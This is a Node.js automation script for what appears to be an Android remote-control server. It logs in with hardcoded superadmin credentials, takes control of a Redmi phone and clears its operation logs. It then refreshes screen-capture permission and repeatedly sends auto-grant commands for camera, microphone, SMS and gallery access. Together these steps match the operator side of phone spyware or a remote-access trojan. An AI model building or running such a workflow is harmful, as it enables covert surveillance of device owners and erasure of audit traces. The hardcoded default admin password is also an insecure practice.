#!/usr/bin/env node import { io } from 'socket.io-client' import { writeFile } from 'node:fs/promises' const DEVICE_ID = process.env.RC_DEVICE_ID || process.argv[2] const SERVER_HTTP = process.env.RC_SERVER_HTTP || 'http://192.168.100.45:3001' const SOCKET_URL = process.env.RC_SOCKET_URL || SERVER_HTTP const USERNAME = process.env.RC_USER || 'superadmin' const PASSWORD = process.env.RC_PASS || 'superadmin123456789' const REPORT_PATH = process.env.RC_REPORT_PATH || './_tmp_redmi_first_permission_flow_result.json' const SKIP_PROJECTION_REFRESH = process.env.RC_SKIP_PROJECTION_REFRESH === '1' const PROJECTION_SETTLE_MS = Number(process.env.RC_PROJECTION_SETTLE_MS || 5000) const PERMISSION_RETRIES = Number(process.env.RC_PERMISSION_RETRIES || 4) const REQUEST_WAIT_BASE_MS = Number(process.env.RC_REQUEST_WAIT_BASE_MS || 2000) const REQUEST_WAIT_STEP_MS = Number(process.env.RC_REQUEST_WAIT_STEP_MS || 500) const RETRY_BACKOFF_BASE_MS = Number(process.env.RC_RETRY_BACKOFF_BASE_MS || 1600) if (!DEVICE_ID) { console.error('Missing device id. Usage: node scripts/redmi_first_permission_flow.mjs ') process.exit(1) } const nowIso = () => new Date().toISOString() const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)) const report = { startedAt: nowIso(), finishedAt: null, serverHttp: SERVER_HTTP, socketUrl: SOCKET_URL, deviceId: DEVICE_ID, steps: [], events: [], summary: { ok: 0, warn: 0, fail: 0 } } const INTERESTING_EVENTS = new Set([ 'connect', 'client_registered', 'device_control_response', 'refresh_permission_response', 'permission_response', 'control_error', 'auth_error', 'registration_error' ]) function safeStringify(value, maxLen = 500) { try { const text = JSON.stringify(value) if (!text) return '' if (text.length <= maxLen) return text return `${text.slice(0, maxLen)}...` } catch { return String(value) } } function pushEvent(event, args) { if (!INTERESTING_EVENTS.has(event)) return const payload = args.length <= 1 ? args[0] : args report.events.push({ at: nowIso(), event, payloadPreview: safeStringify(payload, 700) }) if (report.events.length > 1200) { report.events.shift() } } function waitEvent(socket, event, predicate = () => true, timeoutMs = 10000) { return new Promise((resolve, reject) => { const timer = setTimeout(() => { socket.off(event, onEvent) reject(new Error(`timeout_waiting_${event}_${timeoutMs}ms`)) }, timeoutMs) function onEvent(payload) { try { if (!predicate(payload)) return clearTimeout(timer) socket.off(event, onEvent) resolve([payload]) } catch (error) { clearTimeout(timer) socket.off(event, onEvent) reject(error) } } socket.on(event, onEvent) }) } async function runStep(name, fn, { optional = false } = {}) { const started = Date.now() try { const detail = await fn() report.steps.push({ name, status: 'ok', durationMs: Date.now() - started, detail }) report.summary.ok += 1 console.log(`OK ${name}`) return true } catch (error) { const status = optional ? 'warn' : 'fail' report.steps.push({ name, status, durationMs: Date.now() - started, error: error instanceof Error ? error.message : String(error) }) report.summary[status] += 1 console.log(`${status.toUpperCase()} ${name} -> ${error instanceof Error ? error.message : String(error)}`) return false } } async function loginAndGetToken() { const response = await fetch(`${SERVER_HTTP}/api/auth/login`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ username: USERNAME, password: PASSWORD }) }) const data = await response.json().catch(() => ({})) if (!response.ok || !data?.success || !data?.token) { throw new Error(`login_failed status=${response.status} body=${safeStringify(data, 900)}`) } return data.token } async function main() { const token = await loginAndGetToken() const socket = io(SOCKET_URL, { transports: ['websocket', 'polling'], timeout: 15000, reconnection: false, auth: { token } }) socket.onAny((event, ...args) => pushEvent(event, args)) const emitClientEvent = (type, data = {}) => { socket.emit('client_event', { type, data: { ...data, deviceId: data.deviceId || DEVICE_ID }, timestamp: Date.now() }) } const emitControlMessage = (type, data = {}) => { socket.emit('control_message', { type, deviceId: DEVICE_ID, data, timestamp: Date.now() }) } const emitCameraControl = (action, data = {}) => { socket.emit('camera_control', { action, deviceId: DEVICE_ID, data }) } const waitPermissionResponse = async (permissionType, timeoutMs = 22000) => { const normalized = String(permissionType || '').trim().toLowerCase() const [resp] = await waitEvent( socket, 'permission_response', (payload) => { if (!payload || payload.deviceId !== DEVICE_ID) return false const incoming = String(payload.permissionType || '').trim().toLowerCase() return incoming === normalized }, timeoutMs ) return { success: !!resp?.success, message: resp?.message || '', raw: resp } } const ensureRuntimePermission = async ( permissionName, requestAction, checkAction, retries = PERMISSION_RETRIES ) => { let lastError = null let lastMessage = '' for (let attempt = 1; attempt <= retries; attempt += 1) { try { emitCameraControl(requestAction, {}) await sleep(REQUEST_WAIT_BASE_MS + (attempt - 1) * REQUEST_WAIT_STEP_MS) emitCameraControl(checkAction, {}) const result = await waitPermissionResponse(permissionName, 22000) lastMessage = result.message || lastMessage if (result.success) { return { granted: true, attempts: attempt, message: result.message || 'granted' } } } catch (error) { lastError = error } await sleep(RETRY_BACKOFF_BASE_MS * attempt) } if (lastError) throw lastError throw new Error(lastMessage || `${permissionName}_permission_not_granted`) } let hasControl = false try { await waitEvent(socket, 'connect', () => true, 12000) socket.emit('web_client_register', { userAgent: 'codex-redmi-first-permission-flow' }) const [registered] = await waitEvent(socket, 'client_registered', () => true, 15000) const devices = Array.isArray(registered?.devices) ? registered.devices : [] report.registeredDevicesCount = devices.length report.targetDeviceFound = devices.some((d) => d?.id === DEVICE_ID) await runStep('request_device_control', async () => { emitClientEvent('REQUEST_DEVICE_CONTROL', { deviceId: DEVICE_ID }) const [resp] = await waitEvent( socket, 'device_control_response', (payload) => payload?.deviceId === DEVICE_ID, 15000 ) if (!resp?.success) { throw new Error(resp?.message || 'request_control_failed') } hasControl = true return { message: resp.message || 'ok' } }) await runStep( 'enable_operation_log', async () => { if (!hasControl) throw new Error('no_control') emitControlMessage('LOG_ENABLE', {}) await sleep(500) return { sent: true } }, { optional: true } ) await runStep( 'clear_operation_logs', async () => { if (!hasControl) throw new Error('no_control') emitClientEvent('CLEAR_OPERATION_LOGS', { deviceId: DEVICE_ID }) await sleep(500) return { sent: true } }, { optional: true } ) if (!SKIP_PROJECTION_REFRESH) { await runStep( 'refresh_media_projection_permission', async () => { if (!hasControl) throw new Error('no_control') emitClientEvent('REFRESH_MEDIA_PROJECTION_PERMISSION', { deviceId: DEVICE_ID }) const [resp] = await waitEvent( socket, 'refresh_permission_response', (payload) => payload?.deviceId === DEVICE_ID, 22000 ) return { success: !!resp?.success, message: resp?.message || '' } }, { optional: true } ) await runStep( 'refresh_media_projection_manual', async () => { if (!hasControl) throw new Error('no_control') emitClientEvent('REFRESH_MEDIA_PROJECTION_MANUAL', { deviceId: DEVICE_ID }) const [resp] = await waitEvent( socket, 'refresh_permission_response', (payload) => payload?.deviceId === DEVICE_ID, 22000 ) return { success: !!resp?.success, message: resp?.message || '' } }, { optional: true } ) await runStep( 'settle_after_projection_refresh', async () => { await sleep(PROJECTION_SETTLE_MS) return { waitedMs: PROJECTION_SETTLE_MS } }, { optional: true } ) } await runStep( 'camera_permission_check', async () => ensureRuntimePermission( 'camera', 'CAMERA_PERMISSION_AUTO_GRANT', 'CAMERA_PERMISSION_CHECK', PERMISSION_RETRIES ) ) await sleep(2200) await runStep( 'microphone_permission_check', async () => ensureRuntimePermission( 'microphone', 'MICROPHONE_PERMISSION_AUTO_GRANT', 'MICROPHONE_PERMISSION_CHECK', PERMISSION_RETRIES ) ) await sleep(2200) await runStep( 'sms_permission_check', async () => ensureRuntimePermission( 'sms', 'SMS_PERMISSION_AUTO_GRANT', 'SMS_PERMISSION_CHECK', PERMISSION_RETRIES ) ) await sleep(2200) await runStep( 'gallery_permission_check', async () => ensureRuntimePermission( 'gallery', 'GALLERY_PERMISSION_AUTO_GRANT', 'GALLERY_PERMISSION_CHECK', PERMISSION_RETRIES ) ) } catch (error) { report.steps.push({ name: 'fatal', status: 'fail', durationMs: 0, error: error instanceof Error ? error.message : String(error) }) report.summary.fail += 1 console.error(error instanceof Error ? error.message : String(error)) } finally { await runStep( 'release_device_control', async () => { if (!hasControl) return { skipped: true } emitClientEvent('RELEASE_DEVICE_CONTROL', { deviceId: DEVICE_ID }) await sleep(700) return { released: true } }, { optional: true } ) socket.close() report.finishedAt = nowIso() await writeFile(REPORT_PATH, JSON.stringify(report, null, 2), 'utf8') } } main().catch(async (error) => { report.steps.push({ name: 'unhandled', status: 'fail', durationMs: 0, error: error instanceof Error ? error.message : String(error) }) report.summary.fail += 1 report.finishedAt = nowIso() try { await writeFile(REPORT_PATH, JSON.stringify(report, null, 2), 'utf8') } catch {} process.exit(1) })